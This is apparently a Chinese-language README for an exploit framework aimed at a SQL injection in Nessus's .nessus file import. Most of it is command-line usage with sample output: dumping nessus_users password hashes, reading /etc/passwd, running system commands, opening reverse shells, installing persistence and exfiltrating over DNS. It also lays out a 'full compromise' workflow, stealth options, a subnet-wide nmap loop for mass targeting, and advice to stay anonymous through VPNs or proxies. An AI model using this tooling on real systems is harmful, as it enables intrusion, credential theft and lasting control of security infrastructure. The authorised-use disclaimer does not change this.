🛡️ CVE-2026-57588 - Nessus SQL注入利用框架
📋 目录
🔍 概述
CVE-2026-57588 是 Tenable Nessus 版本 10.12.0 及之前版本 中发现的一个严重 SQL注入漏洞。该漏洞存在于导入 .nessus 扫描结果文件时的 XML解析机制中,允许具有导入权限的认证用户在后台 PostgreSQL 数据库上执行任意 SQL 查询。
⚠️ 漏洞详情
🔬 技术细节
该漏洞是由于在导入过程中,XML 标签值在合并到 SQL 查询之前未进行充分的清理。恶意攻击者可以精心构造一个 .nessus 文件,其中包含在以下 XML 标签中的特制 SQL注入 payload:
hostname
fqdn
os
system-type
mac-address
netbios-name
当有权限的用户导入该恶意文件时,未经清理的值会在 PostgreSQL 后端执行,从而实现:
- 数据库枚举
- 数据泄露
- 命令执行
- 文件系统访问
- 持久化安装
✨ 功能特性
点击展开功能列表
🎯 Payload 管理
- 13+种Payload类型,按用途分类
- 基于模板的Payload生成
- 自定义Payload创建和验证
- 参数验证和语法检查
- SQL语法验证
🚀 利用能力
- 多阶段利用,支持并行执行
- 数据库指纹识别和枚举
- 数据泄露,支持自定义表/列选择
- 命令执行在目标系统上
- 文件系统访问和读取
- 反向Shell,支持交互式会话
- 持久化安装机制
- 基于时间的盲注
- 基于布尔的盲注
- 基于错误的注入
- 堆叠查询用于高级利用
- 带外DNS泄露
📊 报告与日志
- HTML报告,专业样式
- Markdown报告,便于文档化
- JSON报告,便于自动化
- 文本报告,快速查看
- 日志轮转,多级别支持
- 详细执行统计
- 文件哈希用于完整性验证
🛠️ 高级特性
- 并行执行,可配置任务数
- 代理支持,用于隐秘操作
- SSL/TLS证书处理
- XML验证和模式检查
- 交互模式,用于实时利用
- 重试机制,确保可靠性
- 超时配置,适用于慢速连接
📦 专业工具
📦 安装
🐍 前提条件
- Python 3.7 或更高版本
- pip(Python包管理器)
- Git(可选,用于克隆)
🔧 快速安装
# 克隆仓库
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
# 创建并激活虚拟环境
python3 -m venv venv
source venv/bin/activate # 在Windows上: venv\Scripts\activate
# 安装依赖
pip install -r requirements.txt
# 验证安装
python3 exploit.py --version
🐳 Docker 安装
# 构建Docker镜像
docker build -t nessus-exploit .
# 运行工具
docker run -it --rm nessus-exploit generate -u https://test.com -p enum
📦 包安装
# 作为包安装
pip install -e .
# 现在可以从任意位置运行
nessus-exploit generate -u https://test.com -p enum
🚀 快速开始
基本用法
# 生成基础枚举利用
python3 exploit.py generate -u https://test.com -p enum
# 生成高级多阶段利用
python3 exploit.py generate -u https://test.com -p advanced -o exploit.nessus
# 从数据库提取数据
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
命令帮助
# 显示通用帮助
python3 exploit.py --help
# 显示generate命令帮助
python3 exploit.py generate --help
# 列出所有可用的Payload
python3 exploit.py list
💡 使用示例
1. 基础枚举
python3 exploit.py generate -u https://test.com -p enum
预期输出
[2026-07-22 10:15:23] [INFO] [*] 正在针对 https://test.com 发起利用
[2026-07-22 10:15:23] [INFO] [*] 会话: xK9mN2pQ5wR8yV7tJ4sL3fG6hD1
[2026-07-22 10:15:23] [INFO] [*] Payload: enum
[2026-07-22 10:15:23] [INFO] [*] 正在执行阶段: fingerprint
[2026-07-22 10:15:24] [INFO] [+] 已生成XML: exploit_20260722_fingerprint_101523.nessus (3847 bytes)
[2026-07-22 10:15:24] [INFO] [*] 正在执行阶段: schema_dump
[2026-07-22 10:15:25] [INFO] [+] 已生成XML: exploit_20260722_schema_dump_101524.nessus (4213 bytes)
[2026-07-22 10:15:25] [INFO] [+] 利用完成!耗时: 2.15s
============================================================
利用摘要
============================================================
目标: https://test.com
状态: 成功
耗时: 2.15s
生成文件数: 3
生成报告数: 3
============================================================
2. 高级多阶段利用
python3 exploit.py generate -u https://test.com -p advanced -o custom.nessus -v
3. 数据泄露
# 提取用户凭据
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
# 使用自定义列提取
python3 exploit.py generate -u https://test.com -p dump --table scan_results --columns scan_name,start_time,status
4. 反向Shell
# 启动监听器并生成利用
python3 exploit.py generate -u https://test.com -p shell -lp 4444 -o shell.nessus
5. 命令执行
# 执行基本命令
python3 exploit.py generate -u https://test.com -p exec --command "whoami && id && uname -a"
# 执行复杂命令
python3 exploit.py generate -u https://test.com -p exec --command "ps aux | grep nessus"
6. 文件读取
# 读取系统文件
python3 exploit.py generate -u https://test.com -p file -f /etc/passwd
# 读取应用程序日志
python3 exploit.py generate -u https://test.com -p file -f /var/log/nessus/nessusd.log
7. 基于时间的盲注
# 5秒延迟
python3 exploit.py generate -u https://test.com -p sleep -s 5
# 30秒延迟用于重负载测试
python3 exploit.py generate -u https://test.com -p sleep -s 30
8. 代理支持
# HTTP代理
python3 exploit.py generate -u https://test.com -p advanced --proxy http://127.0.0.1:8080
# 带认证的HTTPS代理
python3 exploit.py generate -u https://test.com -p advanced --proxy https://user:[email protected]:8080
9. 并行执行
# 使用8个并行任务运行
python3 exploit.py generate -u https://test.com -p advanced --jobs 8
# 自定义超时和重试
python3 exploit.py generate -u https://test.com -p advanced --jobs 4 --timeout 60 --retries 5
10. 详细模式和安静模式
# 详细模式(详细输出)
python3 exploit.py generate -u https://test.com -p advanced -v --log-file debug.log
# 安静模式(最小输出)
python3 exploit.py generate -u https://test.com -p advanced -q
📚 Payload 类型
类别: FINGERPRINTING
| Payload | 描述 | 参数 |
|---|
fingerprint | 数据库指纹识别 | 无 |
类别: UNION
| Payload | 描述 | 参数 |
|---|
schema_dump | 转储数据库模式 | 无 |
data_exfil | 提取表数据 | table, columns |
类别: TIMING
| Payload | 描述 | 参数 |
|---|
time_based | 基于时间的盲注 | delay |
boolean_blind | 基于布尔的盲注 | condition, delay |
类别: FILE_ACCESS
| Payload | 描述 | 参数 |
|---|
file_read | 读取系统文件 | path, offset, length |
类别: COMMAND_EXEC
| Payload | 描述 | 参数 |
|---|
command_exec | 执行系统命令 | command |
类别: REVERSE_SHELL
| Payload | 描述 | 参数 |
|---|
reverse_shell | 建立反向Shell | host, port |
类别: PERSISTENCE
| Payload | 描述 | 参数 |
|---|
persistence | 安装持久化 | 无 |
类别: ERROR_BASED
| Payload | 描述 | 参数 |
|---|
error_based | 基于错误的注入 | query |
类别: STACKED
| Payload | 描述 | 参数 |
|---|
stacked_queries | 堆叠查询 | query |
类别: OUT_OF_BAND
| Payload | 描述 | 参数 |
|---|
oob_dns | DNS泄露 | host, data |
🎯 高级场景
场景1: 完全攻陷工作流
# 第1步:枚举数据库
python3 exploit.py generate -u https://test.com -p enum -v
# 第2步:提取敏感数据
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
# 第3步:建立持久化
python3 exploit.py generate -u https://test.com -p persist
# 第4步:设置反向Shell
python3 exploit.py generate -u https://test.com -p shell -lp 4444
场景2: 隐秘操作
# 使用代理和安静模式
python3 exploit.py generate -u https://test.com -p advanced \
--proxy http://127.0.0.1:8080 \
--no-ssl-verify \
-q \
-o stealth_scan.nessus
场景3: 自动化测试流水线
#!/bin/bash
# auto_exploit.sh - 自动化利用脚本
TARGET="https://test.com"
OUTPUT_DIR="./results_$(date +%Y%m%d_%H%M%S)"
mkdir -p $OUTPUT_DIR
# 运行所有Payload
for payload in enum dump shell persist; do
echo "[*] 正在运行Payload: $payload"
python3 exploit.py generate -u $TARGET -p $payload -o "$OUTPUT_DIR/${payload}_scan.nessus" -q
done
# 生成综合报告
python3 exploit.py report -i "$OUTPUT_DIR" -o "$OUTPUT_DIR/final_report"
场景4: 企业安全评估
# 全网络评估
for target in $(nmap -p 8834 --open 192.168.1.0/24 | grep "Nessus" | awk '{print $5}'); do
echo "[*] 正在测试: $target"
python3 exploit.py generate -u "https://$target" -p advanced -o "scan_${target}.nessus" -q
done
场景5: 证据收集
# 收集全面证据
python3 exploit.py generate -u https://test.com -p advanced \
--file /etc/hosts \
--command "systemctl status nessusd" \
--table nessus_users \
--columns username,password_hash,email,last_login \
-v \
--log-file evidence.log
📊 报告生成
可用报告格式
生成报告
# 生成所有报告格式
python3 exploit.py report -i results.json -o report
# 仅生成HTML报告
python3 exploit.py report -i results.json -o report.html --format html
# 生成Markdown报告
python3 exploit.py report -i results.json -o report.md --format markdown
报告内容
- 目标信息
- 会话ID和Payload类型
- 执行统计信息
- 生成的文件列表
- 用于完整性的文件哈希
- 错误日志(如有)
- 免责声明和警告
🔧 故障排除
常见问题及解决方案
问题1: 连接错误
# 错误: 连接被拒绝
# 解决方案: 检查Nessus是否正在运行以及端口是否可访问
python3 exploit.py generate -u https://test.com:8834 -p enum
# 错误: SSL证书验证失败
# 解决方案: 禁用SSL验证
python3 exploit.py generate -u https://test.com -p enum --no-ssl-verify
问题2: XML验证错误
# 错误: XML结构无效
# 解决方案: 禁用XML验证
python3 exploit.py generate -u https://test.com -p enum --no-validate
问题3: Payload错误
# 错误: 缺少必需参数
# 解决方案: 检查Payload需求
python3 exploit.py validate -p command_exec
# 然后提供必需参数
python3 exploit.py generate -u https://test.com -p exec --command "whoami"
问题4: 权限被拒绝
# 错误: 无法写入文件
# 解决方案: 检查目录权限
chmod 755 ./outputs/
python3 exploit.py generate -u https://test.com -p enum -o ./outputs/scan.nessus
问题5: 超时问题
# 错误: 操作超时
# 解决方案: 增加超时时间
python3 exploit.py generate -u https://test.com -p advanced --timeout 120
# 或使用重试
python3 exploit.py generate -u https://test.com -p advanced --retries 5
🔐 安全考虑
⚠️ 重要警告
- 法律合规性:仅在您拥有或已获得明确书面许可的系统上使用
- 数据保护:极其小心地处理提取的凭据和数据
- 隔离环境:始终在隔离的实验环境中测试
- 备份:测试前务必备份数据库
- 恢复:测试后将系统恢复至原始状态
- 文档记录:记录所有测试活动以备合规要求
✅ 最佳实践
- 使用专用测试账户
- 保留所有操作的详细日志
- 测试第三方系统时使用VPN/代理以保持匿名
- 遵循负责任的披露指南
- 教育团队了解漏洞
📝 许可协议
该项目基于 MIT 许可协议授权 - 详见 LICENSE 文件。
🤝 贡献
欢迎贡献!请随时提交拉取请求(Pull Request)。
开发环境设置
# 克隆仓库
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
# 安装开发依赖
pip install -r requirements-dev.txt
# 运行测试
pytest
# 格式化代码
black exploit.py
# 检查代码风格
flake8 exploit.py
📞 支持
文档
联系
📄 更新日志
版本 1.0.0 (2026-07-22)
初始发布
- ✅ 全面的利用框架
- ✅ 13种Payload类型,按用途分类
- ✅ 多阶段利用,支持并行执行
- ✅ XML验证和模式检查
- ✅ 多种报告格式(HTML、Markdown、JSON、文本)
- ✅ 自动文件哈希和完整性验证
- ✅ 带轮转的专业日志记录
- ✅ 代理支持,用于隐秘操作
- ✅ 反向Shell,支持交互式会话
- ✅ 持久化机制
- ✅ 命令执行和文件读取
- ✅ 基于时间和布尔的盲注
- ✅ 基于错误和堆叠查询注入
- ✅ 带外DNS泄露
- ✅ Docker支持
- ✅ 跨平台兼容
⬆ 返回顶部
⚠️ 免责声明:此工具仅供 教育目的 和 授权安全测试 使用。未经授权的使用是 非法的。作者对滥用行为 不承担任何责任。